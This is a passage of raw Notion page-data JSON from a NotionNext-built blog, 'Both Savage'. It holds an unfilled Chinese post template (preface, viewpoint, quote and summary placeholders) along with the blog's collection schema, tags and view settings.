2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"463a12f0-d5d5-4492-bb0f-8058cea32a41":{"value":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","version":7,"type":"page","content":["a8c29bdc-907d-4d34-91e5-16cb41d364a8","0af78e74-0f6f-4835-9439-2011e6119213","7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","dce8171f-4f6b-4ed0-ba15-9768718c01fb","04356097-50ce-4d5e-bebf-cf7b41537fcd","b330bfba-4093-42e6-87c7-2b5459c9cf76","1fbd3e80-cdb5-4a08-bce3-ab338829afb3","fd545374-5d81-4a2d-ab21-2d4df214b9f0","ec9723c4-8b25-47e0-9df3-971848bbf522","46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","8624876d-b0bf-44d3-86a2-34e832f77ea9","f2398279-7337-415d-92de-ce76a1245c9f","d858f147-752b-4fd7-a931-6e270a7b7f98","468c0bd8-9b86-4390-973c-a9ba199aa3b8"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"55acf95f-e710-4600-b979-5b6b1ece731b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630806142,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"55acf95f-e710-4600-b979-5b6b1ece731b","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"a8c29bdc-907d-4d34-91e5-16cb41d364a8":{"value":{"id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["c794c243-598f-4d45-9354-33548953674a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5"}},"c794c243-598f-4d45-9354-33548953674a":{"value":{"id":"c794c243-598f-4d45-9354-33548953674a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"13d1f070-3c8a-45e5-b46a-5b9b18019537","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","parent_table":"block","alive":true,"copied_from":"13d1f070-3c8a-45e5-b46a-5b9b18019537"}},"0af78e74-0f6f-4835-9439-2011e6119213":{"value":{"id":"0af78e74-0f6f-4835-9439-2011e6119213","type":"text","format":{"copied_from_pointer":{"id":"c038bbc8-3331-4b1f-a45c-03e3e1442d50","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"c038bbc8-3331-4b1f-a45c-03e3e1442d50"}},"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e":{"value":{"id":"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"152176ec-1720-4cc0-adc0-a46d67f54874","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"152176ec-1720-4cc0-adc0-a46d67f54874"}},"dce8171f-4f6b-4ed0-ba15-9768718c01fb":{"value":{"id":"dce8171f-4f6b-4ed0-ba15-9768718c01fb","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c"}},"04356097-50ce-4d5e-bebf-cf7b41537fcd":{"value":{"id":"04356097-50ce-4d5e-bebf-cf7b41537fcd","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"a3154c14-02b8-42a5-9f8a-0d70d35d7296","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3154c14-02b8-42a5-9f8a-0d70d35d7296"}},"b330bfba-4093-42e6-87c7-2b5459c9cf76":{"value":{"id":"b330bfba-4093-42e6-87c7-2b5459c9cf76","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6"}},"1fbd3e80-cdb5-4a08-bce3-ab338829afb3":{"value":{"id":"1fbd3e80-cdb5-4a08-bce3-ab338829afb3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e67738b8-c524-4008-a9cf-752ea580c5ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"e67738b8-c524-4008-a9cf-752ea580c5ff"}},"fd545374-5d81-4a2d-ab21-2d4df214b9f0":{"value":{"id":"fd545374-5d81-4a2d-ab21-2d4df214b9f0","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c"}},"ec9723c4-8b25-47e0-9df3-971848bbf522":{"value":{"id":"ec9723c4-8b25-47e0-9df3-971848bbf522","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"559245c6-ddc7-47b1-af8d-45b7126cb7fb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"559245c6-ddc7-47b1-af8d-45b7126cb7fb"}},"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8":{"value":{"id":"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"81d6335f-a4ea-4c49-8af2-e0b6d4cf53a0"}},"8624876d-b0bf-44d3-86a2-34e832f77ea9":{"value":{"id":"8624876d-b0bf-44d3-86a2-34e832f77ea9","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"36b41a1b-fc54-402f-935e-51a74d106e67","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"36b41a1b-fc54-402f-935e-51a74d106e67"}},"f2398279-7337-415d-92de-ce76a1245c9f":{"value":{"id":"f2398279-7337-415d-92de-ce76a1245c9f","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"993e122a-d075-4c01-a170-e2a565684ac1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"993e122a-d075-4c01-a170-e2a565684ac1"}},"d858f147-752b-4fd7-a931-6e270a7b7f98":{"value":{"id":"d858f147-752b-4fd7-a931-6e270a7b7f98","type":"text","format":{"copied_from_pointer":{"id":"ec201c14-0045-4620-9550-234a18b291ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ec201c14-0045-4620-9550-234a18b291ed"}},"468c0bd8-9b86-4390-973c-a9ba199aa3b8":{"value":{"id":"468c0bd8-9b86-4390-973c-a9ba199aa3b8","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"ff80eebf-ace9-49e0-9075-065107f6ca1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"ff80eebf-ace9-49e0-9075-065107f6ca1d"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-